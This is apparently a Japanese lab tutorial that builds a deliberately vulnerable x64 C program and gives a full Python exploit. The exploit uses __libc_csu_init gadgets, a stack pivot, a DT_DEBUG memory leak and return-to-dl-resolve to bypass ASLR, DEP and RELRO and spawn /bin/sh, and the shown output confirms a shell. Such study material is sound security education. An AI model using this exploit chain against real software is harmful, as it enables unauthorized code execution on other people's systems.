x64でROP stager + Return-to-dl-resolve + DT_DEBUG read + __libc_csu_init gadgetsによるASLR+DEP+RELRO回避をやってみる
「x64でROP stager + Return-to-dl-resolve + DT_DEBUG readによるASLR+DEP+RELRO回避をやってみる」では、rdi、rsi、rdxの各レジスタをpopするROP gadgetを意図的に埋め込んだ上でシェル起動を行った。 ここでは代わりに__libc_csu_init gadgetsを使い、x64環境においてASLR+DEP+RELROが有効な条件下でのシェル起動をやってみる。
環境
Ubuntu 14.04.1 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.1 LTS Release: 14.04 Codename: trusty $ gcc --version gcc (Ubuntu 4.8.2-19ubuntu1) 4.8.2
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「x64でDynamic ROP + Return-to-vulnによるASLR+DEP+RELRO回避をやってみる」で使ったものと同じである。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; read(0, &size, 8); read(0, buf, size); write(1, buf, size); return 0; }
このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c $ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out AAAA
エクスプロイトコードを書いてみる
最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。
$ readelf -S a.out > dump.txt $ objdump -d a.out >> dump.txt
上で出力した情報をもとに、__libc_csu_init gadgetsを使いReturn-to-dl-resolve + DT_DEBUG readを行うエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_dynsym = 0x00000000004002b8 # readelf -S a.out addr_dynstr = 0x0000000000400330 # readelf -S a.out addr_relplt = 0x00000000004003b8 # readelf -S a.out addr_plt = 0x0000000000400440 # readelf -S a.out addr_bss = 0x0000000000601010 # readelf -S a.out addr_got_read = 0x600fe0 # objdump -d -j.plt a.out addr_got_write = 0x600fd8 # objdump -d -j.plt a.out addr_dt_debug = 0x600e98 # objdump -s -j.dynamic a.out (DT_DEBUG = 0x15) addr_csu_init1 = 0x00400610 # objdump -d a.out addr_csu_init2 = 0x00400626 # objdump -d a.out addr_leave_ret = 0x004005ce # objdump -d a.out addr_ret = 0x004005cf # objdump -d a.out """ 00000000004005d0 <__libc_csu_init>: ... 400610: 4c 89 ea mov rdx,r13 400613: 4c 89 f6 mov rsi,r14 400616: 44 89 ff mov edi,r15d 400619: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 40061d: 48 83 c3 01 add rbx,0x1 400621: 48 39 eb cmp rbx,rbp 400624: 75 ea jne 400610 <__libc_csu_init+0x40> 400626: 48 83 c4 08 add rsp,0x8 40062a: 5b pop rbx 40062b: 5d pop rbp 40062c: 41 5c pop r12 40062e: 41 5d pop r13 400630: 41 5e pop r14 400632: 41 5f pop r15 400634: c3 ret """ stack_size = 0x800 base_stage = addr_bss + stack_size size_bulkread = 0x800 buf1 = 'A' * bufsize buf1 += 'A' * (8-len(buf1)%8) buf1 += 'AAAAAAAA' * 2 buf1 += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 1200, base_stage, 0) buf1 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, base_stage, 0, 0, 0, 0) buf1 += struct.pack('<Q', addr_leave_ret) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<Q', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) buf2 = struct.pack('<Q', addr_ret) # read dt_debug addr_esp = base_stage + 8 buf2 += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_write, 8, addr_dt_debug, 1) buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 8, addr_esp + 8*22, 0) # read r_debug and link_map addr_esp += 8*16 buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, size_bulkread, 0x00, 1) # 0x00 <- addr_r_debug buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 8, addr_esp + 8*22, 0) # read link_map_lib addr_esp += 8*16 buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, 40, 0x00, 1) # 0x00 <- addr_link_map_lib buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 8, addr_esp + 8*22, 0) # read link_map_lib2 addr_esp += 8*16 buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, 40, 0x00, 1) # 0x00 <- addr_link_map_lib2 buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 8, addr_esp + 8*22, 0) # read lib_dynamic and lib_gotplt addr_esp += 8*16 buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, size_bulkread, 0x00, 1) # 0x00 <- addr_lib_dynamic buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 8, addr_esp + 8*22, 0) # overwrite dt_versym addr_esp += 8*16 buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 8, 0x00, 0) # 0x00 <- addr_dt_versym buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 16, addr_esp + 8*32, 0) # call dl_resolve addr_esp += 8*16 addr_reloc = addr_esp + 8*20 align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18) addr_reloc += align_reloc addr_sym = addr_reloc + 24 align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18) addr_sym += align_dynsym addr_symstr = addr_sym + 24 addr_cmd = addr_symstr + 7 reloc_offset = (addr_reloc - addr_relplt) / 0x18 r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7 st_name = addr_symstr - addr_dynstr buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, base_stage, 0, 0, addr_cmd) # *(base_stage) = addr_ret buf2 += struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 0, 0, 0, 0, 0) # set rdi = addr_cmd buf2 += 'AAAAAAAA' # addr_dl_resolve buf2 += 'AAAAAAAA' # addr_link_map buf2 += struct.pack('<Q', reloc_offset) buf2 += 'AAAAAAAA' buf2 += 'A' * align_reloc buf2 += struct.pack('<Q', addr_bss) # Elf64_Rela buf2 += struct.pack('<Q', r_info) buf2 += struct.pack('<Q', 0) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf64_Sym buf2 += struct.pack('<I', 0x12) buf2 += struct.pack('<Q', 0) buf2 += struct.pack('<Q', 0) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (1200-len(buf2)) p.stdin.write(buf2) data = p.stdout.read(8) addr_r_debug = struct.unpack('<Q', data)[0] print "[+] addr_r_debug = %x" % addr_r_debug p.stdin.write(struct.pack('<Q', addr_r_debug)) data = p.stdout.read(size_bulkread) addr_link_map = struct.unpack('<Q', data[8:16])[0] offset = addr_link_map - addr_r_debug addr_link_map_lib = struct.unpack('<Q', data[offset+24:offset+32])[0] print "[+] addr_link_map, addr_link_map_lib = %x, %x" % (addr_link_map, addr_link_map_lib) p.stdin.write(struct.pack('<Q', addr_link_map_lib)) data = p.stdout.read(40) addr_link_map_lib2 = struct.unpack('<Q', data[24:32])[0] print "[+] addr_link_map_lib2 = %x" % addr_link_map_lib2 p.stdin.write(struct.pack('<Q', addr_link_map_lib2)) data = p.stdout.read(40) addr_lib_dynamic = struct.unpack('<Q', data[16:24])[0] print "[+] addr_lib_dynamic = %x" % addr_lib_dynamic p.stdin.write(struct.pack('<Q', addr_lib_dynamic)) data = p.stdout.read(size_bulkread) addr_lib_gotplt = struct.unpack('<Q', data.split('\x03\x00\x00\x00\x00\x00\x00\x00')[1][:8])[0] offset = addr_lib_gotplt - addr_lib_dynamic addr_dl_resolve = struct.unpack('<Q', data[offset+16:offset+24])[0] print "[+] addr_lib_gotplt, addr_dl_resolve = %x, %x" % (addr_lib_gotplt, addr_dl_resolve) p.stdin.write(struct.pack('<Q', addr_link_map+0x1c8)) p.stdin.write(struct.pack('<Q', 0)) p.stdin.write(struct.pack('<QQ', addr_dl_resolve, addr_link_map)) p.wait()
このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。
- __libc_csu_init gadgetsを使ってread関数を呼び出し、stack pivotを行う
- DT_DEBUG readにより、共有ライブラリのGOTセクションから_dl_runtime_resolve関数およびlink_map構造体のアドレスを読み出す
- Return-to-dl-resolveにより、system関数を呼び出す
引数をセットし実行してみる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xe0\x0f`\x00\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x10\x18`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x18`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xce\x05@\x00\x00\x00\x00\x00' [+] addr_r_debug = 7f676844c1a0 [+] addr_link_map, addr_link_map_lib = 7f676844c1c8, 7f676844c760 [+] addr_link_map_lib2 = 7f67684494c0 [+] addr_lib_dynamic = 7f6768220ba0 [+] addr_lib_gotplt, addr_dl_resolve = 7f6768221000, 7f676823e4e0 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
上の結果より、意図的にROP gadgetを与えることなく、x64環境かつASLR+DEP+RELROが有効な条件下でシェルが起動できていることが確認できた。